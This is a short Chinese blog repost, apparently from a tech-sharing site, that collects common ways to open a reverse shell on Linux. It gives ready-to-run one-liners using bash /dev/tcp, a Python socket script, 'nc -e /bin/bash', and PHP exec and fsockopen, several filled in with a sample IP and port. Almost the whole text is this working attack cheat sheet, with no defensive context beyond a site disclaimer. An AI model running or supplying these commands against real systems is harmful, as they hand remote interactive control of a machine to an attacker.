标签：bin inux shell socket 几种 php 反弹 bash

[整理]Linux下几种常见的反弹shell方式

方法1：使用linux命令反弹shell

反弹shell命令格式如下：

bash -i >& /dev/tcp/ip/port 0>&1

方法2：使用python反弹shell

反弹shell命令格式如下：

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

方法3：使用nc反弹shell
命令如下：

[root@localhost ~]# nc -e /bin/bash 192.168.1.146 7777

方法4：使用php反弹shell
1).使用php的exec函数执行方法1反弹shell的命令

[root@localhost ~]# php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'

2).使用php的fsockopen去连接远程

命令格式如下：

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

执行以下命令:

[root@localhost ~]# php -r '$sock=fsockopen("192.168.1.146",7777);exec("/bin/bash -i <&3 >&3 2>&3");'

标签：bin,inux,shell,socket,几种,php,反弹,bash
来源： https://blog.csdn.net/qq_15042405/article/details/117605268

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。